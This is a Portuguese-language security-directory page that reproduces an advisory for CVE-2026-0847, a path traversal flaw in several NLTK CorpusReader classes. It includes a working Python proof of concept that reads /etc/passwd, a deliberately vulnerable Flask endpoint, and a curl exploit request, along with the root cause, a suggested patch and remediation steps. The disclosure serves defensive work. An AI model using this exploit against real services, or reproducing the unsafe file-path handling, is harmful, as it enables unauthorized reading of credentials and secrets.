Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0847 — Uma vulnerabilidade nas versões do NLTK até a 3.9.2 (inclusive) permite leitura arbitrária de arquivos via path traversal em várias classes CorpusReader, incluindo WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader. | Kitploit
Ferramentas/GitHubGitHub/hyperps/cve-2026-0847
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Uma vulnerabilidade nas versões do NLTK até a 3.9.2 (inclusive) permite leitura arbitrária de arquivos via path traversal em várias classes CorpusReader, incluindo WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.

Ver Repositório
12há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0847 — Classes Múltiplas CorpusReader do NLTK: Leitura Arbitrária de Arquivos via Path Traversal


Visão Geral

CampoDetalhes
ID CVECVE-2026-0847
Pacotenltk (Natural Language Toolkit)
RepositórioPyPI
Versões Afetadas<= 3.9.2
Tipo de VulnerabilidadeCWE-22: Path Traversal
Pontuação CVSS8.6 (Alta)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
Impacto na ConfidencialidadeAlto
Impacto na IntegridadeBaixo
Impacto na DisponibilidadeBaixo
Reportado em4 de dezembro de 2025
CVE Publicado em4 de março de 2026
Suportado porPalo Alto Networks / Prisma AIRS
StatusCorrigido

Descrição

Várias classes CorpusReader na biblioteca NLTK aceitam argumentos de caminho de arquivo sem aplicar qualquer canonicalização de caminho, validação de lista de permissões ou restrições de sandbox. Quando um atacante controla o nome do arquivo do corpus ou a entrada de arquivo — um cenário comum em APIs de aprendizado de máquina, pipelines de PNL baseados em upload e serviços de chatbot — ele pode fornecer um caminho manipulado para percorrer a hierarquia de diretórios e ler arquivos arbitrários no servidor.

Esta vulnerabilidade é particularmente crítica em implantações em rede onde o NLTK processa caminhos de arquivo controlados pelo usuário, pois nenhuma autenticação ou privilégio é necessário para explorá-la.


Componentes Afetados

ClasseArquivoStatus
WordListCorpusReaderwordlist.py L1–L120Vulnerável
TaggedCorpusReadertagged.py L1–L140Vulnerável
BracketParseCorpusReaderbracket_parse.py L1–L150Vulnerável
Outras classes usando o mesmo padrão base—Aguardando auditoria mais ampla

Todas as três classes herdam o mesmo método inseguro CorpusReader.open(), que não realiza nenhuma restrição de caminho antes de resolver e ler o identificador de arquivo fornecido.


Impacto

A exploração bem-sucedida desta vulnerabilidade pode resultar em:

  • Leitura arbitrária de arquivos — Um atacante pode ler qualquer arquivo acessível ao processo executando NLTK, incluindo /etc/passwd, /etc/shadow e /var/log/auth.log
  • Exposição de credenciais e segredos — Chaves privadas SSH (~/.ssh/id_rsa), arquivos .env, tokens de API e arquivos de credenciais em nuvem podem ser extraídos
  • Divulgação de código-fonte e dados de treinamento — Dados de treinamento de outros usuários ou código-fonte de aplicativos proprietários podem ser lidos
  • Execução remota de código (encadeada) — Quando combinada com vulnerabilidades de desserialização pickle, a path traversal pode ser usada para carregar arquivos de modelo maliciosos e escalar para RCE completa
  • Movimentação lateral — Em ambientes de microsserviços, observou-se que segredos extraídos permitem movimentação lateral e comprometimento total do servidor

Prova de Conceito

Esta informação é fornecida apenas para fins educacionais e defensivos. Não teste em sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Leitura Local de Arquivo via API Direta

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Saída (abreviada):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Cenário de Exploração Remota — API Flask Vulnerável

Um cenário realista onde o NLTK é exposto por meio de uma API HTTP:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Requisição do atacante:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Resultado: Conteúdo completo de /etc/passwd retornado ao atacante sem autenticação necessária.


Causa Raiz

A vulnerabilidade origina-se em CorpusReader.open(). O método resolve o fileid fornecido diretamente contra o caminho raiz configurado usando FileSystemPathPointer.join() sem realizar nenhuma das seguintes verificações:

  • Rejeição de caminho absoluto
  • Detecção de travessia de diretório pai (..)
  • Normalização de caminho e comparação para impor confinamento dentro da raiz do corpus

Como FileSystemPathPointer pode ser inicializado com /, um atacante que controla o argumento do nome do arquivo tem acesso de leitura irrestrito a todo o sistema de arquivos.


Correção Sugerida

Correção mínima proposta pelo pesquisador, a ser aplicada dentro de CorpusReader.open():

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

O PR de correção upstream está disponível em: https://github.com/nltk/nltk/pull/3479


Remediação

AçãoDetalhes
Atualizar NLTKAtualizar para uma versão superior a 3.9.2 assim que um patch oficial for lançado
Validação de EntradaSanitizar e validar todos os valores de caminho de arquivo fornecidos pelo usuário antes de passá-los para qualquer classe CorpusReader do NLTK
Evitar Caminhos Controlados pelo UsuárioNão permitir que a entrada do usuário controle direta ou indiretamente o argumento fileids de qualquer CorpusReader
Menor PrivilégioExecutar serviços baseados em NLTK sob uma conta de usuário restrita com acesso de leitura limitado apenas ao diretório do corpus
ContentorizaçãoIsolar o serviço em um contêiner Docker ou chroot jail para limitar o raio de explosão de uma travessia bem-sucedida
Patch UbuntuMonitorar o Aviso de Segurança Ubuntu para atualizações de pacotes em nível de distribuição

Atualizar via pip:

root@kitploit:~
pip install --upgrade nltk

Verificar versão instalada:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Linha do Tempo

DataEvento
4 de dezembro de 2025Vulnerabilidade reportada ao huntr.dev pelo pesquisador hyperps1
Dezembro de 2025Equipe de mantenedores do NLTK notificada via huntr.dev
Janeiro de 2026Mantenedor do NLTK validou a vulnerabilidade; recompensa de divulgação concedida ao pesquisador
Janeiro de 2026CVE-2026-0847 atribuído
Fevereiro de 2026Aviso de pré-publicação de 48 horas enviado aos mantenedores do NLTK
4 de março de 2026CVE publicado no NVD e huntr.dev
5 de março de 2026Registro NVD modificado pela última vez

Referências

RecursoLink
Entrada NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0847
Aviso de Segurança Ubuntuhttps://ubuntu.com/security/CVE-2026-0847
Registro CVE Oficialhttps://cve.org/CVERecord?id=CVE-2026-0847
Relatório huntr.devhttps://huntr.dev
Pull Request de Correçãohttps://github.com/nltk/nltk/pull/3479
NLTK no PyPIhttps://pypi.org/project/nltk/
Path Traversal OWASPhttps://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html

Aviso Legal

Este repositório documenta o CVE-2026-0847 estritamente para fins educacionais, de pesquisa e de segurança defensiva. O código de prova de conceito e os detalhes técnicos são fornecidos para auxiliar desenvolvedores, engenheiros de segurança e administradores de sistemas a entender, avaliar e remediar esta vulnerabilidade.

Qualquer uso desta informação para acessar sistemas sem autorização explícita é ilegal e antiético. O autor não assume nenhuma responsabilidade pelo uso indevido das informações contidas aqui.

Contribuidores @mohitf070304

Baixar ferramenta